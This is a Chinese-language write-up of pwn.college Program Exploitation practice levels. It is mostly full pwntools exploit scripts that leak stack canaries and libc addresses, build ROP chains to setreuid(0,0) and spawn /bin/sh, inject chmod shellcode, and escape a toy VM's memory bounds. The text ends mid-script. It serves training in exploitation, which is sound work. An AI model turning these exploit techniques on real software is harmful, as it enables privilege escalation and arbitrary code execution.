pwn.college: Program Exploitation

天命人,才刚遇到”大头”呢,还有很多BOSS得打,别停下来哇!你不好好打的话,遇到虎先锋你不炸了吗?^_^ :)

Hello~,hackers!
Program Exploitation的writeup

Level 3.1

一个完整的ROP题,先泄露canary,再泄露main基地址,然后通过main基地址使用puts(puts)泄露libc基地址。最后构造ROP链即可。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.arch = "amd64"
context.log_level = 'debug'

p = process("/challenge/toddlerone-level-3-1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# leak ret_to_main_addr
p.recvuntil(b"Payload size: ")
size = "88"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")

p.send(b'a'*82 + b"REPEAT")
p.recvuntil(b"REPEAT")
ret_to_main_addr = u64(p.recv(6).ljust(8,b"\x00"))
print("ret_to_main_addr:", hex(ret_to_main_addr))
main_base_addr = ret_to_main_addr - 0x2220


# leak canary
p.recvuntil(b"Payload size: ")
size = "73"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*67 + b"REPEAT")
p.recvuntil(b"REPEAT")
canary = u64(p.recv(7).rjust(8,b'\x00'))
print("canary:", hex(canary))

# puts(puts)
p.recvuntil(b"Payload size: ")
size = "136"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
challenge_addr = main_base_addr+0x1fc4
e = p.elf
e.address = main_base_addr
r = ROP(e)
r.raw(r.rdi) # pop rdi; ret
r.raw(e.got['puts'])
r.raw(e.plt['puts'])
r.raw(challenge_addr)
p.send(b'a'*72 + p64(canary) + p64(0xdeadbeef) +r.chain())
p.recvuntil(b"Goodbye!\n")
puts_got_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = puts_got_addr - libc.symbols['puts']
print("libc_base:", hex(libc_base))

# ROP
libc.address = libc_base
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
# print(len(rop.chain()))

# overwrite
p.recvuntil(b"Payload size: ")
size = "152"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*72 + p64(canary) + p64(0xdeadbeef) +rop.chain())

p.interactive()

level 4.1

在payload中增加一步,即padding的最后8个字节为指定magic number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
context.arch = "amd64"
# context.log_level = 'debug'

p = process("/challenge/toddlerone-level-4-1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# leak ret_to_main_addr
p.recvuntil(b"Payload size: ")
size = "104" # ***
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")

p.send(b'a'*98 + b"REPEAT")
p.recvuntil(b"REPEAT")
ret_to_main_addr = u64(p.recv(6).ljust(8,b"\x00"))
print("ret_to_main_addr:", hex(ret_to_main_addr))
main_base_addr = ret_to_main_addr - 0x1d43 # ***


# leak canary
p.recvuntil(b"Payload size: ")
size = "89"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*83 + b"REPEAT")
p.recvuntil(b"REPEAT")
canary = u64(p.recv(7).rjust(8,b'\x00'))
print("canary:", hex(canary))

# puts(puts)
condition = 0xD355EFB4BF7A0170
p.recvuntil(b"Payload size: ")
size = "136"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
challenge_addr = main_base_addr+0x1ad5 # ***
e = p.elf
e.address = main_base_addr
r = ROP(e)
r.raw(r.rdi) # pop rdi; ret
r.raw(e.got['puts'])
r.raw(e.plt['puts'])
r.raw(challenge_addr)
# print(len(r.chain()))
pause()
p.send(b"a"*80 + p64(condition) + p64(canary) + p64(0xdeadbeef) + r.chain())
p.recvuntil(b"exit() condition avoided! Continuing execution.\n")
puts_got_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = puts_got_addr - libc.symbols['puts']
print("libc_base:", hex(libc_base))

# ROP
libc.address = libc_base
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
# print(len(rop.chain()))

# overwrite
p.recvuntil(b"Payload size: ")
size = "168"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*80 + p64(condition) + p64(canary) + p64(0xdeadbeef) +rop.chain())

p.interactive()

level 5.0

Canary的栈帧位置不一定是rbp-8,可能因编译环境、函数复杂度或优化选项而变化。实际位置需通过反汇编或调试确认。

这里我们发现canary在rbp-0x18处,同时condition在rbp-0x28处。也就是说,rbp距离canary中间间隔0x10字节,canary和condition中间间隔0x8字节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.arch = "amd64"
# context.log_level = 'debug'

p = process("/challenge/toddlerone-level-5-0")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# leak ret_to_main_addr
p.recvuntil(b"Payload size: ")
size = "104" # ***
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*98 + b"REPEAT")
p.recvuntil(b"REPEAT")
ret_to_main_addr = u64(p.recv(6).ljust(8,b"\x00"))
print("ret_to_main_addr:", hex(ret_to_main_addr))
main_base_addr = ret_to_main_addr - 0x22b6 # ***

# leak canary
p.recvuntil(b"Payload size: ")
size = "73"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
# pause()
p.send(b'a'*67 + b"REPEAT")
p.recvuntil(b"REPEAT")
canary = u64(p.recv(7).rjust(8,b'\x00'))
print("canary:", hex(canary))

# puts(puts)
condition = 0x725271A4BD26531A
p.recvuntil(b"Payload size: ")
size = "136"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
challenge_addr = main_base_addr+0x1bad # ***
e = p.elf
e.address = main_base_addr
r = ROP(e)
r.raw(r.rdi) # pop rdi; ret
r.raw(e.got['puts'])
r.raw(e.plt['puts'])
r.raw(challenge_addr)
# print(len(r.chain()))
pause()
p.send(b'a'*56 + p64(condition) + b'b'*8 + p64(canary) + b'c'*0x10 + p64(0xdeadbeef) + r.chain())
p.recvuntil(b"Goodbye!\n")
puts_got_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = puts_got_addr - libc.symbols['puts']
print("libc_base:", hex(libc_base))

# ROP
libc.address = libc_base
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
# print(len(rop.chain()))

# overwrite
p.recvuntil(b"Payload size: ")
size = "168"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*56 + p64(condition) + b'b'*8 + p64(canary) + b'c'*0x10 + p64(0xdeadbeef) + rop.chain())
p.interactive()

level 5.1

canary和5.0不一样,回到了rbp-8处。其次,condition在rbp-0x18处。exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
context.arch = "amd64"
# context.log_level = 'debug'

p = process("/challenge/toddlerone-level-5-1")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

# leak ret_to_main_addr
p.recvuntil(b"Payload size: ")
size = "72" # ***
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*66 + b"REPEAT")
p.recvuntil(b"REPEAT")
ret_to_main_addr = u64(p.recv(6).ljust(8,b"\x00"))
print("ret_to_main_addr:", hex(ret_to_main_addr))
main_base_addr = ret_to_main_addr - 0x22a7 # ***

# leak canary
p.recvuntil(b"Payload size: ")
size = "57"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
# pause()
p.send(b'a'*51 + b"REPEAT")
p.recvuntil(b"REPEAT")
canary = u64(p.recv(7).rjust(8,b'\x00'))
print("canary:", hex(canary))

# puts(puts)
condition = 0x7902619BB2B948FA
p.recvuntil(b"Payload size: ")
size = "104"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
challenge_addr = main_base_addr+0x1f68 # ***
e = p.elf
e.address = main_base_addr
r = ROP(e)
r.raw(r.rdi) # pop rdi; ret
r.raw(e.got['puts'])
r.raw(e.plt['puts'])
r.raw(challenge_addr)
# print(len(r.chain()))
pause()
p.send(b'a'*40 + p64(condition) + b'b'*8 + p64(canary) + p64(0xdeadbeef) + r.chain())
p.recvuntil(b"Goodbye!\n")
puts_got_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc_base = puts_got_addr - libc.symbols['puts']
print("libc_base:", hex(libc_base))

# ROP
libc.address = libc_base
sys_addr = libc.symbols['system']
binsh_addr = next(libc.search(b'/bin/sh'))
setreuid_addr = libc.symbols['setreuid']
print("setreuid_addr", hex(setreuid_addr))
print("binsh_addr", hex(binsh_addr))
rop = ROP(libc)
ruid = 0 # 其实只需要ruid为0就能够拿到root shell
euid = 0
# rop.raw(rop.ret)
rop.raw(rop.rdi)
rop.raw(ruid)
rop.raw(rop.rsi)
rop.raw(euid)
rop.raw(setreuid_addr)
rop.raw(rop.rdi)
rop.raw(binsh_addr)
rop.raw(sys_addr)
# print(len(rop.chain()))

# overwrite
p.recvuntil(b"Payload size: ")
size = "136"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*40 + p64(condition) + b'b'*8 + p64(canary) + p64(0xdeadbeef) + rop.chain())
p.interactive()

level 6.1

仔细看看这个seccomp( Secure Computing Mode)。它是Linux内核提供的一种安全机制,用于限制进程可以执行的系统调用,从而减少潜在的攻击面,提高系统安全性。它最初在Linux 2.6.12引入,并在后续版本中增强了灵活性,使其成为现代沙箱(sanbox)和容器安全的重要组成部分。

Seccomp的核心思想是限制进程可以使用的系统调用。正常情况下,Linux进程可以调用任何可用的系统调用(如execveopensocket等),但如果程序存在漏洞(如缓冲区溢出),攻击者可能利用这些系统调用执行恶意操作。

Seccomp的两种模式

  1. Strict Mode(严格模式)
    • 仅允许4个基本系统调用:readwrite_exitsigreturn
    • 任何其他系统调用都会导致进程被SIGKILL终止
    • 由于过于严格,实际应用较少
  2. Filter Mode(过滤模式,Seccomp-BPF)
    • 允许开发者自定义允许或拒绝的系统调用列表
    • 使用**BPF(Berkeley Packet Filter)**规则进行过滤

使用示例

使用libseccomp库(或者直接调用prctl/seccomp系统调用)

1
2
3
4
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // 默认禁止所有 syscall
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); // 允许 write
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); // 允许 exit
seccomp_load(ctx); // 应用规则

SCMP_ACT_KILL:默认行为(禁止未明确允许的syscall)

SCMP_ACT_ALLOW:允许特定syscall

查看ida逆出来的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
v17 = seccomp_init(0LL);
for ( i = 0; i <= 1; ++i )
{
v6 = v16[i];
v7 = (const char *)seccomp_syscall_resolve_num_arch(0LL, v6);
printf("Allowing syscall: %s (number %i)\n", v7, v6);
if ( (unsigned int)seccomp_rule_add(v17, 2147418112LL, (unsigned int)v16[i], 0LL) )
__assert_fail(
"seccomp_rule_add(ctx, SCMP_ACT_ALLOW, syscalls_allowed[i], 0) == 0",
"/challenge/toddlerone-level-6-0.c",
0x97u,
"challenge");
}
if ( (unsigned int)seccomp_load(v17) )
__assert_fail("seccomp_load(ctx) == 0", "/challenge/toddlerone-level-6-0.c", 0x9Au, "challenge");
puts("Goodbye!");
return 0LL;

拆解一下:

1
v17 = seccomp_init(0LL); // 初始化 seccomp 上下文(默认动作:kill)

seccomp_init(0)创建一个seccomp过滤器上下文,默认行为是SCMP_ACT_KILL

1
2
3
4
5
6
for (i = 0; i <= 1; ++i) {
v6 = v16[i]; // 从数组 v16 读取系统调用编号
v7 = seccomp_syscall_resolve_num_arch(0LL, v6); // 解析系统调用名称
printf("Allowing syscall: %s (number %i)\n", v7, v6);
seccomp_rule_add(v17, SCMP_ACT_ALLOW, v16[i], 0); // 允许该系统调用
}

循环遍历数组v16(包含两个系统调用编号)。seccmp_rule_add(ctx, SCMP_ACT_ALLOW, syscall_num, 0)允许指定的系统调用。

1
seccomp_load(v17); // 应用 seccomp 规则

一旦加载,进程只能允许允许的系统调用,其他调用会被终止。

请注意,Seccomp规则设计为单向严格化,一旦加载,无法放宽或覆盖。在本题中体现在,无法重复调用seccomp_load来修改或增加规则。那么这题就只能通过第一次使用的两个系统调用,其中还有一个系统调用必须为write,因为这样才能泄露基地址构造ROP链。那么获取flag只能通过一个系统调用来进行了。

但是,如果使用puts(puts)来泄露基地址的话,就需要覆盖返回地址来获取libc地址,但是这种情况下只能将两个可用的系统调用分别设置为writeread,一个用来泄露基址,一个用来下次read接收buf输入。这种情况下是无法get shell的。换个思路。

检查一下sec吧:

1
2
3
4
5
6
7
8
9
10
11
hacker@practice~program-exploitation~level6-1:/challenge$ checksec ./toddlerone-level-6-1 
[*] '/challenge/toddlerone-level-6-1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable
RWX: Has RWX segments
SHSTK: Enabled
IBT: Enabled

这里栈上可执行,那么可以泄露栈的地址,在buf中写入shellcode,然后把buf作为返回地址,执行shellcode就行了。那么这里使用chmod系统调用,这样就只需要用到一个系统调用号,我们再通过seccomp_rule_add把chmod的系统调用号放进去即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
context.arch = "amd64"
# context.log_level = 'debug'

p = process("/challenge/toddlerone-level-6-1")

# leak rbp_addr
p.recvuntil(b"Payload size: ")
size = "144" # ***
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*138 + b"REPEAT")
p.recvuntil(b"REPEAT")
rbp_addr = u64(p.recv(6).ljust(8,b"\x00"))
print("rbp_addr:", hex(rbp_addr))

# leak canary
p.recvuntil(b"Payload size: ")
size = "137"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(b'a'*131 + b"REPEAT")
p.recvuntil(b"REPEAT")
canary = u64(p.recv(7).rjust(8,b'\x00'))
print("canary:", hex(canary))

# shellcode
shellcode = shellcraft.pushstr('/flag')
shellcode += shellcraft.syscall('SYS_chmod', 'rsp', 0o777)
binary_shellcode = asm(shellcode)
# print(len(binary_shellcode)) # 39
# pause()

# overwrite
buf_addr = rbp_addr - 0x12b0
p.recvuntil(b"Payload size: ")
size = "160"
p.sendline(size.encode())
p.recvuntil(b"bytes)!\n")
p.send(binary_shellcode + b'a'*89 + p32(1) + p32(90) + p64(canary) + p64(0xdeadbeef) + p64(buf_addr))

p.interactive()

level 7.1

得用”Yan85”来进行操作。No PIE, no canary and Stack Executable!

好的,详细分析一下”Yan85”,首先是interpreter_loop,在main中调用该函数,并以buf作为参数:interpreter_loop(buf);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall interpreter_loop(__int64 a1)
{
unsigned __int8 v1; // al
__int64 result; // rax

while ( 1 )
{
result = *(unsigned __int8 *)(a1 + 1029);
if ( (_BYTE)result == 0xFF )
break;
v1 = *(_BYTE *)(a1 + 1029);
*(_BYTE *)(a1 + 1029) = v1 + 1;
interpret_instruction(
a1,
*(unsigned __int16 *)(a1 + 3LL * v1) | ((unsigned __int64)*(unsigned __int8 *)(a1 + 3LL * v1 + 2) << 16));
}
return result;
}

传入的buf是char buf[1024],因此在interpreter_loop中的a1是buf的起始地址。因此在进入loop后,resultbuf[1029]的值。v1也是buf[1029]的值。紧接着buf[1029]++。那么很显然,buf[1029]是控制循环次数的,最大次数为0xFFbuf[1029]也是模拟指针寄存器rip,也就是这里的i

随后调用interpret_instruction函数,对于传入的参数,第一个参数为buf的起始地址,第二个参数为int_16* buf[3*v1] | ((int_64* buf[3*v1+2])<<16)

那么,代入数据模拟一下第二个参数到底要做啥:第一次循环,v1为0。那么第二个参数为:(16)buf[0] | (64)((8)buf[2]<<16)

也就是说,传入的第二个参数为一个8字节的整数,其中低2字节为buf[0]和buf[1],高6字节为buf[2]

所以每次进入interpret_instruction时,都是三个Byte buf[]的拼接,依次遍历整个buf。进入到interpret_instruction中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __fastcall interpret_instruction(unsigned __int8 *a1, int a2)
{
int result; // eax

printf(
"[V] a:%#hhx b:%#hhx c:%#hhx d:%#hhx s:%#hhx i:%#hhx f:%#hhx\n",
a1[1024],
a1[1025],
a1[1026],
a1[1027],
a1[1028],
a1[1029],
a1[1030]);
printf("[I] op:%#hhx arg1:%#hhx arg2:%#hhx\n", BYTE1(a2), BYTE2(a2), (unsigned __int8)a2);
if ( (a2 & 0x4000) != 0 )
interpret_imm(a1, a2);
if ( (a2 & 0x800) != 0 )
interpret_add(a1, a2);
if ( (a2 & 0x200) != 0 )
interpret_stk(a1, a2);
if ( (a2 & 0x400) != 0 )
interpret_stm(a1, a2);
if ( (a2 & 0x8000) != 0 )
interpret_ldm(a1, a2);
if ( (a2 & 0x100) != 0 )
interpret_cmp(a1, a2);
if ( (a2 & 0x1000) != 0 )
interpret_jmp(a1, a2);
result = BYTE1(a2) & 0x20;
if ( (a2 & 0x2000) != 0 )
return interpret_sys(a1, a2);
return result;
}

这里模拟寄存器,每个寄存器存储1字节的数据。前面的Reverse模块已经用过这些指令了。那么对于a2来说,buf[x+1]代表的是opcode,低的2字节代表的是两个参数且buf[x+2]是第一个参数,buf[x+0]是第二个参数。

也就是说,一次取buf的三个字节分别为buf[0],buf[1],buf[2]情况下,opcode是buf[1],arg1是buf[0],arg2是buf[2]。

依次拆解指令,第一个是interpret_imm(a1,a2)

1
2
3
4
5
6
7
8
_BYTE *__fastcall interpret_imm(_BYTE *a1, int a2)
{
const char *v2; // rax

v2 = (const char *)describe_register(BYTE2(a2));
printf("[s] IMM %s = %#hhx\n", v2, (unsigned __int8)a2);
return write_register(a1, SBYTE2(a2), a2);
}

这里buf[x+1]对应的是寄存器,也就是buf[1024] ~ buf[1030]buf[x+0]对应的是一个字节的数据。这里不展开describe_registerwrite_register了,这两个API会统一关于buf[x+1]和模拟寄存器的对应关系。

因此,imm所对应的操作就是将buf[x+0]的值存入buf[x+1]对应的寄存器中。而buf[x+2]就表示opcode,即执行imm指令。

现在,我们需要用这些指令写一个shellcode以获取flag。

有一个细节是sys_open被禁用了,也就是不希望我们直接通过它提供的指令将flag write出来。所以,我们需要用这些指令来劫持控制流。先简单把所有指令的作用以及用法记录一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# 在.0情形下,使用以下API的用法。但关卡不同设置不同,因此输入的三字节到底以什么样的顺序被解析需要ida逆后分析
# imm
# usage: 0x{reg_x}{opcode}{value}
# reg_x = value

# sys
# usage: 0x{sys_opcode}{opcode}{reg_x}
# read_code: read(reg_a, &buf[3 * reg_b], reg_c); result -> reg_x
# read_memory: read(reg_a, &buf[reg_b + 768], reg_c); result -> reg_x
# sys_write: write(reg_a, &buf[reg_b + 768], reg_c); result -> reg_x
# sys_sleep: sleep(reg_a); result -> reg_x
# sys_exit: exit(reg_a); result -> reg_x

# add
# usage: 0x{reg_x}{opcode}{reg_y}
# reg_x = reg_x + reg_y

# stk
# usage: 0x{arg1}{opcode}{arg2} --> reg_s(栈顶指针)相应修改
# push: 0x{00}{opcode}{reg_x} --> push reg_x
# pop: 0x{reg_x}{opcode}{00} --> pop reg_x

# stm
# usage: 0x{reg_x}{opcode}{reg_y} --> buf[reg_x+768] = reg_y

# ldm
# usage: 0x{reg_x}{opcode}{reg_y} --> reg_x = buf[reg_y+768]

# cmp
# reg_f(标志位)根据比较的结果相应修改
# usage: 0x{reg_x}{opcode}{reg_y} --> cmp reg_x, reg_y


这里可以发现buf划分出来的memory区在buf[768]开始的区域。 那么我们通过修改reg_b的值使其起始地址在buf[255+768]=> buf[1023],也就是buf的最后一个元素。然后再通过reg_c控制read读取的字节数,使其从Yan85设定的内存区域逃逸出来。

1
# usage: 0x{opcode}{arg1}{arg2}

思路是:首先通过read(0, &buf, 0x27)读取shellcode到Yan85的memory区,再通过read(0,&buf+1023, 0x21)覆盖返回地址为&buf[768]以执行shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch="amd64",os="linux",log_level="debug",terminal=['tmux','splitw','-h'])
# context.log_level = 'debug'


def pack(a1, opcode, a2):
# 三字节顺序会变,因此这里只做pack。
# 但其实可以改pack,而不改下面给pack参数的顺序。
return p8(a2) + p16((a1<<8) + opcode) # 注意小端序的pack方式


# p = gdb.debug("/tmp/toddlerone-level-7-1")
p = process("/challenge/toddlerone-level-7-1")


reg = {'a': 64, 'b': 4, 'c': 32, 'd': 16, 's': 2, 'i': 1, 'f': 8}
opcode = {'imm': 0x80, 'add': 0x40, 'stk': 0x10, 'stm': 0x20, 'ldm': 0x08, 'cmp': 0x01, 'jmp': 0x02, 'sys': 0x04}
sys_opcode = {'open': 0x10, 'read_code': 0x04, 'read_memory': 0x02, 'write': 0x01, 'sleep': 0x08, 'exit': 0x20}

# read shellcode
payload_yan = pack(opcode['imm'], 0x00, reg['a'])
payload_yan += pack(opcode['imm'], 0x00, reg['b'])
payload_yan += pack(opcode['imm'], 0x27, reg['c'])
payload_yan += pack(opcode['sys'], reg['a'], sys_opcode['read_memory'])

# read(0, &buf+1023, 0x21)
payload_yan += pack(opcode['imm'], 0x00, reg['a'])
payload_yan += pack(opcode['imm'], 0xFF, reg['b'])
payload_yan += pack(opcode['imm'], 0x21, reg['c'])
payload_yan += pack(opcode['sys'], reg['a'], sys_opcode['read_memory'])
# exit
payload_yan += pack(opcode['imm'], 0x00, reg['a'])
payload_yan += pack(opcode['sys'], reg['a'], sys_opcode['exit'])
pause()
p.send(payload_yan)

# overwrite
shellcode = shellcraft.chmod("/flag",0o777)
binary_shellcode = asm(shellcode)
# print(len(binary_shellcode)) 39
p.send(binary_shellcode + b"a"*17 + p64(0xdeadbeef) + p64(0x7fffffffddb0))

p.interactive()

level 8.1

这题开启了ASLRcanary,因此需要泄露Canarystack_addr

1
2
3
4
5
6
# imm
# usage: 0x{value}{opcode}{reg_x}
# reg_x = value

# sys
# usage: 0x{reg_x}{opcode}{sys_opcode}

canary好泄露,它在rbp-0x8的位置处。直接通过write泄露出来。但是stack_addr就需要通过gdb查看在调用write时当时stack的状态,然后找到栈上存储的栈地址。计算一下偏移地址即可得到shellcode的栈地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
# context.log_level = 'debug'


def pack(a1, a2, a3):
# 0x{a1}{a2}{a3}
# 由于顺序会变,三个参数的含义不同,所以pack仅做打包
return p8(a3) + p16((a1<<8) + a2) # 注意小端序的pack方式


# p = gdb.debug("/tmp/toddlerone-level-8-1", "b *$rebase(0x1C8E)")
p = process("/challenge/toddlerone-level-8-1")


reg = {'a': 2, 'b': 8, 'c': 1, 'd': 4, 's': 64, 'i': 16, 'f': 32}
opcode = {'imm': 0x04, 'add': 0x01, 'stk': 0x10, 'stm': 0x80, 'ldm': 0x02, 'cmp': 0x20, 'jmp': 0x08, 'sys': 0x40}
sys_opcode = {'open': 0x4, 'read_code': 0x02, 'read_memory': 0x20, 'write': 0x10, 'sleep': 0x01, 'exit': 0x08}

# leak stack_addr and canary
payload_yan = pack(0x01, opcode["imm"], reg['a'])
payload_yan += pack(0xff, opcode["imm"], reg['b'])
payload_yan += pack(0x31, opcode["imm"], reg['c'])
payload_yan += pack(reg['a'], opcode["sys"], sys_opcode['write'])
# read shellcode
payload_yan += pack(0x00, opcode['imm'], reg['a'])
payload_yan += pack(0x00, opcode['imm'], reg['b'])
payload_yan += pack(0x27, opcode['imm'], reg['c'])
payload_yan += pack(reg['a'], opcode['sys'], sys_opcode['read_memory'])
# # read(0, &buf+1023, 0x21)
payload_yan += pack(0x00, opcode['imm'], reg['a'])
payload_yan += pack(0xFF, opcode['imm'], reg['b'])
payload_yan += pack(0x21, opcode['imm'], reg['c'])
payload_yan += pack(reg['a'], opcode['sys'], sys_opcode['read_memory'])
payload_yan += pack(0x00, opcode['imm'], reg['a'])
payload_yan += pack(reg['a'], opcode['sys'], sys_opcode['exit'])
# pause()
p.send(payload_yan)

# get canary and stack_addr
p.recvuntil(b"Please input your yancode: ")
p.recv(9)
canary = u64(p.recv(8))
p.recv(24)
stack_addr = u64(p.recv(8))
shellcode_offset = 0x208
print("canary:", hex(canary))
print("stack_addr:", hex(stack_addr))
shellcode_addr = stack_addr - shellcode_offset

# overwrite
shellcode = shellcraft.chmod("/flag",0o777)
binary_shellcode = asm(shellcode)
# print(len(binary_shellcode)) 39
p.send(binary_shellcode + b"a"*9 + p64(canary) + p64(0xdeadbeef) + p64(shellcode_addr))
p.interactive()

level 9.1

限制Yan85代码中sys操作,只能使用一次sys操作。也就是说只能使用Yan85进行一次系统调用。这里发现从&buf[256]开始接收输入。也就是说memory区和yancode区调换了位置。所以它相应的readwrite等系统调用也会作相应修改。

1
read(0, &v5[256], 0x300uLL);
1
2
3
4
5
6
7
8
9
# sys_open
# usage: open(&buf[reg_a], reg_b)

# sys
# usage: 0x{sys_opcode}{opcode}{reg_x}
# read_memory: read(reg_a, &buf[reg_b], reg_c); result -> reg_x
# sys_write: write(reg_a, &buf[reg_b], reg_c); result -> reg_x
# sys_sleep: sleep(reg_a); result -> reg_x
# sys_exit: exit(reg_a); result -> reg_x

看一下限制:

1
2
3
4
5
6
7
for ( i = 0; i <= 255; ++i )
{
if ( (v5[3 * i + 256] & 0x20) != 0 )
++v3;
}
if ( v3 > 1 )
__assert_fail("num_syscalls <= 1", "/challenge/toddlerone-level-9-0.c", 0x1BAu, "main");

yancode区检查opcode,记录sys操作的次数。并且这个检查是在第一次输入后立即进行且没有二次检查的。有没有什么办法能够输入完buf后,又通过系统调用覆盖掉buf呢?

思路:通过一次read_memory调用从stdin获取输入,这个输入是可以溢出的,溢出到yancode区。那么就可以覆盖第一次输入的buf

为了让shellcode好写(因为需要用yancode构造shellcode,因此通过软链接(ln -s)将flag缩短为f)对/flag进行重命名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(arch="amd64",os="linux",log_level="info",terminal=['tmux','splitw','-h'])
# context.log_level = 'debug'


def pack(a1, a2, a3):
# 0x{a1}{a2}{a3}
# 由于顺序会变,三个参数的含义不同,所以pack仅做打包
return p8(a3) + p16((a1<<8) + a2) # 注意小端序的pack方式


# p = gdb.debug("/tmp/toddlerone-level-9-1", "b *$rebase(0x1E85)")
p = process("/challenge/toddlerone-level-9-1")

reg = {'a': 32, 'b': 1, 'c': 16, 'd': 4, 's': 2, 'i': 64, 'f': 8}
opcode = {'imm': 0x04, 'add': 0x08, 'stk': 0x80, 'stm': 0x02, 'ldm': 0x40, 'cmp': 0x20, 'jmp': 0x01, 'sys': 0x10}
